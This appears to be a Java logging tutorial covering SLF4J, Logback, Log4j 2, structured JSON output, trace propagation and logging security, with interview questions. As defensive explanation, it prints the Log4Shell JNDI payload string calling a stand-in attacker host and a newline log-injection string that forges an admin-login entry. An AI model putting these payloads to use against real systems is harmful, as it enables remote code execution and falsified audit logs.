Why Logging Matters โ and What Changes Without It
An application with no logging fails silently. When
order-service starts returning 500s at 3 AM, the
only evidence of what actually happened is whatever the JVM's
default stack trace prints to a console nobody is watching. Good
logging turns "the app is broken, we don't know why" into "the
payment gateway returned a timeout for order #4471, here's the
exact request that triggered it."
// BEFORE โ no structured logging, a stack trace and nothing else
Exception in thread "main" java.lang.NullPointerException
at com.shop.order.OrderService.processOrder(OrderService.java:42)
// Which order? Which customer? Was this the 1st failure today or the 500th?
// Unanswerable after the fact.
// AFTER โ a structured, leveled log line with context
{"timestamp":"2026-07-10T03:14:02Z","level":"ERROR",
"logger":"com.shop.order.OrderService","traceId":"9f8b3c2a1e",
"orderId":"4471","customerId":"8821",
"message":"Payment gateway timed out after 3 retries"}
// Queryable, correlatable across services, and it tells you exactly
// what to look at next.
The Java Logging Landscape โ APIs vs Implementations
This is the single most confusing thing about Java logging for anyone new to it: the interface you code against and the library that actually writes the log line are almost always two different dependencies.
// Logging APIs (facades) โ what your code calls
SLF4J // the standard facade โ code against this, not an implementation directly
JUL API // java.util.logging โ built into the JDK, rarely chosen for new code
// Logging implementations โ what actually writes the log line
Logback // SLF4J's native implementation โ the default in Spring Boot
Log4j 2 // powerful, async-first via the LMAX Disruptor
// The pattern almost every project should follow:
// code against the SLF4J API, let Logback (or Log4j 2) do the actual writing
| Combination | Recommendation |
|---|---|
| SLF4J + Logback | Default choice โ this is what spring-boot-starter-logging ships |
| SLF4J + Log4j 2 | When you specifically need Log4j 2's async performance under very high throughput |
| java.util.logging | Only for a dependency-free library that can't impose a logging choice on its consumers |
SLF4J with Logback
Maven Dependencies
<!-- Spring Boot: included automatically via spring-boot-starter -->
<dependency>
<groupId>org.slf4j</groupId>
<artifactId>slf4j-api</artifactId>
</dependency>
<dependency>
<groupId>ch.qos.logback</groupId>
<artifactId>logback-classic</artifactId>
</dependency>
Basic Usage
import org.slf4j.Logger;
import org.slf4j.LoggerFactory;
public class CustomerService {
private static final Logger log = LoggerFactory.getLogger(CustomerService.class);
public Customer findCustomer(Long id) {
log.debug("Finding customer with id: {}", id);
Customer customer = customerRepository.findById(id).orElse(null);
if (customer == null) {
log.warn("Customer not found with id: {}", id);
return null;
}
log.info("Found customer: {}", customer.getId());
return customer;
}
}
Logback Configuration (logback.xml)
<configuration>
<appender name="CONSOLE" class="ch.qos.logback.core.ConsoleAppender">
<encoder>
<pattern>%d{yyyy-MM-dd HH:mm:ss.SSS} [%thread] %-5level %logger{36} - %msg%n</pattern>
</encoder>
</appender>
<logger name="com.shop" level="DEBUG"/>
<logger name="org.springframework" level="WARN"/>
<logger name="org.hibernate" level="WARN"/>
<root level="INFO">
<appender-ref ref="CONSOLE"/>
</root>
</configuration>
Spring Boot Configuration
# application.properties
logging.level.root=INFO
logging.level.com.shop=DEBUG
logging.level.org.hibernate.SQL=DEBUG
logging.pattern.console=%d{yyyy-MM-dd HH:mm:ss} - %msg%n
Log Levels
| Level | When to use | Example |
|---|---|---|
| TRACE | Very fine-grained debugging, method entry/exit | Entering processOrder() |
| DEBUG | Development-time detail, disabled in production by default | Processing order with 5 items |
| INFO | Significant business events, normal operation | Order #4471 completed successfully |
| WARN | Recoverable problems worth noticing | Retry attempt 2 of 3 for payment gateway |
| ERROR | Needs attention; the operation failed | Failed to process payment for order #4471 |
public class OrderService {
private static final Logger log = LoggerFactory.getLogger(OrderService.class);
public Order processOrder(Order order) {
log.debug("Processing order {} with {} items", order.getId(), order.getItems().size());
try {
validateOrder(order);
if (order.getTotal().compareTo(BigDecimal.valueOf(10000)) > 0) {
log.warn("Large order {} requires manual review", order.getId());
}
completeOrder(order);
log.info("Order {} completed, total: {}", order.getId(), order.getTotal());
} catch (PaymentException e) {
log.error("Payment failed for order {}: {}", order.getId(), e.getMessage(), e);
throw e;
}
return order;
}
}
Where Should Logs Actually Go? Files vs stdout
A RollingFileAppender writing to
logs/application.log made sense when an application
ran on a fixed VM you could SSH into. It's the wrong default
for a containerized service.
A container's filesystem is ephemeral โ when
order-service's pod is rescheduled or restarted,
anything written to a local log file is gone with it. The
cloud-native pattern (one of the original Twelve-Factor App
principles, still the default assumption in Kubernetes) is:
the application writes logs as an unbuffered stream to
stdout, and a separate agent running on the
node (Fluent Bit, Vector, the CloudWatch/Loki agent)
collects, ships, and retains them centrally. Rolling
policies, retention, and compression become the log
collector's job, not application code's.
# logback.xml โ container-appropriate: console only, no file appender at all
<configuration>
<appender name="CONSOLE" class="ch.qos.logback.core.ConsoleAppender">
<encoder class="net.logstash.logback.encoder.LogstashEncoder"/>
</appender>
<root level="INFO">
<appender-ref ref="CONSOLE"/>
</root>
</configuration>
A RollingFileAppender is still the right choice
for a traditional on-prem deployment on a long-lived VM with
no external log collector โ the point is to make the
decision deliberately based on where the service actually
runs, not by copying whichever config sample you found
first.
Structured Logging (JSON) โ the Default, Not an Add-On
A plain-text log line is optimized for a human reading it
live in a terminal. The moment logs are collected centrally
across dozens of service instances, plain text becomes
something you grep and hope โ structured JSON
becomes something you query precisely by field.
<!-- pom.xml -->
<dependency>
<groupId>net.logstash.logback</groupId>
<artifactId>logstash-logback-encoder</artifactId>
<version>7.4</version>
</dependency>
<!-- logback.xml -->
<appender name="CONSOLE" class="ch.qos.logback.core.ConsoleAppender">
<encoder class="net.logstash.logback.encoder.LogstashEncoder"/>
</appender>
// Output โ one JSON object per line, every field independently queryable
{
"@timestamp": "2026-07-10T03:14:02.123Z",
"level": "ERROR",
"logger_name": "com.shop.order.OrderService",
"message": "Payment failed for order 4471",
"orderId": "4471",
"customerId": "8821"
}
// "show me every ERROR for customerId 8821 in the last hour" is now
// a precise query, not a hope that the right string appears in a grep
MDC and Correlating Logs Across Microservices
MDC (Mapped Diagnostic Context) attaches contextual key-value pairs to every log line written on the current thread โ the classic use is a request ID, so every log line from a single request can be filtered together.
import org.slf4j.MDC;
@Override
public void doFilter(ServletRequest request, ServletResponse response,
FilterChain chain) throws IOException, ServletException {
try {
MDC.put("requestId", UUID.randomUUID().toString());
chain.doFilter(request, response);
} finally {
MDC.clear(); // always clear โ MDC is thread-local and threads are pooled and reused
}
}
A hand-rolled requestId is generated fresh in
each service โ when order-service calls
payment-service over HTTP, the two have no
shared identifier unless you manually thread it through
every outgoing header. This is exactly the problem
distributed tracing (OpenTelemetry, and Spring Boot's
Micrometer Tracing integration) solves: a single
trace ID is generated once at the edge and
automatically propagated through every downstream HTTP
call, message, and log line across every service in the
request's path โ turning "logs from three separate services
I have to correlate by timestamp and guesswork" into "every
log line for this one request, across the whole system, by
one ID."
<!-- Spring Boot 3.x โ Micrometer Tracing auto-populates MDC with
traceId/spanId on every log line, propagated automatically across
RestTemplate/WebClient calls to other services -->
<dependency>
<groupId>io.micrometer</groupId>
<artifactId>micrometer-tracing-bridge-otel</artifactId>
</dependency>
// logback.xml โ include the trace/span IDs Micrometer Tracing injects into MDC
<pattern>%d{HH:mm:ss} [%X{traceId}/%X{spanId}] %-5level %logger{36} - %msg%n</pattern>
Log4j 2 โ and the Log4Shell Lesson Every Java Developer Should Know
Log4j 2 is a capable, high-performance implementation with genuinely async logging via the LMAX Disruptor. It is also the subject of one of the most severe vulnerabilities in the history of the Java ecosystem, and understanding why it happened changes how you should think about logging dependencies generally.
<dependency>
<groupId>org.apache.logging.log4j</groupId>
<artifactId>log4j-core</artifactId>
<version>2.24.0</version> <!-- always the latest patch โ see the box below -->
</dependency>
Log4j 2's message formatter supported a
lookup substitution syntax like
${jndi:ldap://attacker.com/payload} directly
inside the string being logged โ and versions before 2.15
would evaluate that lookup, including performing a live
JNDI/LDAP network call and loading whatever class the
response pointed to, achieving remote code execution. Any
application that logged unsanitized user input โ a
User-Agent header, a search query, a username
at login โ and used a vulnerable Log4j 2 version could be
fully compromised by a single crafted string. The fix in
2.17.0 disabled message lookups and JNDI resolution by
default entirely.
The durable lesson isn't "avoid Log4j 2" โ it's patched and safe today. It's that a logging library sits directly in the path of untrusted input on every request, making it one of the highest-value targets in your entire dependency tree. Pin logging dependencies to patched versions with the same discipline covered for GitHub Actions in CI/CD, and run dependency scanning (OWASP Dependency-Check, also covered there) specifically because a transitive Log4j 2 dependency three layers deep is exactly how most organizations were exposed in December 2021 without directly declaring it themselves.
Log4j 2 async configuration
<Configuration status="WARN">
<Appenders>
<Console name="Console" target="SYSTEM_OUT">
<PatternLayout pattern="%d{HH:mm:ss.SSS} [%t] %-5level %logger{36} - %msg%n"/>
</Console>
</Appenders>
<Loggers>
<AsyncLogger name="com.shop" level="debug"/>
<Root level="info">
<AppenderRef ref="Console"/>
</Root>
</Loggers>
</Configuration>
Lombok @Slf4j
import lombok.extern.slf4j.Slf4j;
@Slf4j
public class CustomerService {
// Lombok generates: private static final Logger log = LoggerFactory.getLogger(CustomerService.class);
public Customer findCustomer(Long id) {
log.info("Finding customer: {}", id);
// ...
}
}
Parameterized Logging and Exception Logging
// BAD โ string concatenation always builds the message, even when DEBUG is disabled
log.debug("Processing customer: " + customer.getName());
// GOOD โ parameterized, the message is only built if the level is enabled
log.debug("Processing customer: {}", customer.getName());
// For genuinely expensive-to-build arguments, guard explicitly
if (log.isDebugEnabled()) {
log.debug("Order details: {}", order.toDetailedString());
}
// BAD โ loses the stack trace entirely
log.error("Error: " + e.getMessage());
// GOOD โ context plus the full stack trace as the last argument
log.error("Failed to process order {}", orderId, e);
Security Considerations
- Passwords and raw credentials
- Full credit card numbers
- API keys, tokens, session identifiers
// BAD
log.info("Customer login: {} with password: {}", email, password);
// GOOD โ mask or omit entirely
log.info("Customer login attempt: {}", email);
log.debug("Payment processed for card ending in: {}", maskCardNumber(cardNumber));
Log injection โ the vulnerability specific to logging itself
Beyond what you deliberately choose to log, unsanitized user input written into a log line can forge fake entries. If a customer's display name contains a newline followed by text crafted to look like a legitimate log line, a naive log viewer (or a human scanning raw text) can be tricked into reading a fabricated entry as if the application produced it.
// A customer sets their name to:
// "Karlete\n2026-07-10 03:15:00 INFO AuthService - Admin login successful"
log.info("Order placed by {}", customerName);
// Plain-text output now contains a second, fabricated "log line" that
// never actually happened โ indistinguishable from a real one to anyone
// scanning the raw file.
With a JSON encoder, user-supplied content is placed inside
a properly escaped JSON string value โ a newline becomes
the two characters \n inside that field, not
an actual line break in the output stream. This is one more
concrete reason structured logging is the right default
rather than a nice-to-have: it isn't just easier to query,
it removes an entire class of log-forging attack that plain
text is inherently vulnerable to.
Best Practices and Common Pitfalls
โ Do
- Code against the SLF4J API, not a specific implementation directly
- Default to structured JSON logging โ treat plain text as the exception, not the norm
- Log to stdout in containers and let the platform's log collector handle rotation and retention
- Propagate a trace ID across every service call so logs can be correlated across a distributed request
- Keep logging dependencies patched aggressively โ Log4Shell was exploited primarily through transitive dependencies nobody was tracking directly
- Use parameterized logging (
{}placeholders) so arguments are only evaluated when the level is actually enabled
โ Don't
- Don't log passwords, tokens, or full card numbers โ mask or omit them entirely
- Don't write user-supplied strings directly into plain-text log lines without structured encoding โ it's forgeable via log injection
- Don't rely on a
RollingFileAppenderas the default for a service running in an ephemeral container โ the file disappears when the pod does - Don't use string concatenation in a log call โ it builds the message even when that level is disabled
- Don't assume "we're not affected" about a logging CVE without checking transitive dependencies โ Log4Shell reached most of its victims through libraries three layers removed from the application's own
pom.xml
Interview Questions
Q: What's the difference between SLF4J and Logback?
SLF4J is a facade โ an API your code calls
(Logger, LoggerFactory) without
depending on any specific logging engine. Logback is one
concrete implementation of that facade โ the library that
actually formats and writes the log line. Code against SLF4J so
the underlying implementation can be swapped without touching
application code.
Q: Why is log.debug("Processing: {}", value) preferred over string concatenation?
With a {} placeholder, the arguments are only
formatted into the final string if that log level is actually
enabled. String concatenation ("Processing: " + value)
builds the full string unconditionally on every call, even when
DEBUG logging is disabled and the result will be thrown away
immediately.
Q: Why shouldn't you log a customer's password, even at DEBUG level?
Log files are frequently retained for weeks, shipped to
third-party log aggregation platforms, and accessible to a
wider set of people (support engineers, on-call responders)
than the production database itself. A password written to a
log line persists in plain text across all of those systems
indefinitely, regardless of what log level was used.
Q: Explain the actual mechanism behind Log4Shell (CVE-2021-44228) โ not just "it was a JNDI vulnerability," but why logging specifically was the vector.
Log4j 2's message layout engine supported an embedded lookup
syntax, ${...}, intended for legitimate uses like
substituting system properties into a log pattern. Crucially,
this substitution was evaluated on the content being
logged, not just on the static pattern configuration โ so
if an application logged a string containing
${jndi:ldap://attacker.com/a}, Log4j would
actually perform that JNDI lookup, connect to the attacker's
LDAP server, and load and execute the class it returned. The
vector was any application that logged attacker-influenced
input verbatim โ HTTP headers, usernames, search terms โ which
describes an enormous fraction of production Java
applications, since logging request metadata is completely
ordinary practice. The fix disabled JNDI lookups and message
lookups by default; the broader lesson is that a logging
library uniquely sits in the direct path of untrusted input on
nearly every request, which makes it a disproportionately
high-value target relative to how little scrutiny it typically
receives compared to, say, the web framework itself.
Q: Your team hand-rolls a requestId via MDC for correlating logs. What breaks in a microservices architecture, and how does distributed tracing actually solve it?
A manually generated requestId lives only within
the thread of the service that created it โ the moment
order-service calls payment-service
over HTTP, that ID has no mechanism to cross the network
boundary unless every single outgoing call is manually modified
to forward it as a header, and every receiving service is
manually modified to read that header back into its own MDC.
This is brittle and easy to miss on any new integration point.
Distributed tracing solves this structurally: a trace ID is
generated once at the system's edge, and the tracing library
(OpenTelemetry, via Micrometer Tracing in Spring Boot)
instruments the HTTP client and server layers directly, so
propagation across service boundaries happens automatically
for every call using that instrumented client โ not as
something each developer has to remember to wire up per
integration. The practical result is that "find every log line
across every service involved in this one customer's failed
checkout" becomes a single trace ID lookup instead of
correlating timestamps across three separate log streams by
hand.
Q: A service logs raw user-supplied text to a plain-text file. Explain the log injection risk concretely, and why switching to JSON output isn't just a formatting preference.
If user-controlled input can contain a newline character, and
that input is written directly into a plain-text log line, an
attacker can craft input that, once logged, visually produces
what looks like an entirely separate, fabricated log entry โ
for example, one that appears to show a successful admin login
that never occurred. Anyone scanning the raw log file, or any
downstream tool that naively parses log lines by splitting on
newlines, has no way to distinguish the forged entry from a
genuine one; the attacker is effectively writing directly into
your audit trail. Structured JSON output prevents this by
construction rather than by convention: a JSON encoder escapes
a newline inside a string value as the two characters
\n, which stays inside that field's value and
never breaks into a new top-level JSON object. The fix isn't
"remember to sanitize newlines everywhere user input is
logged" โ it's using an output format where the structural
boundary between log entries can't be forged by field content
in the first place.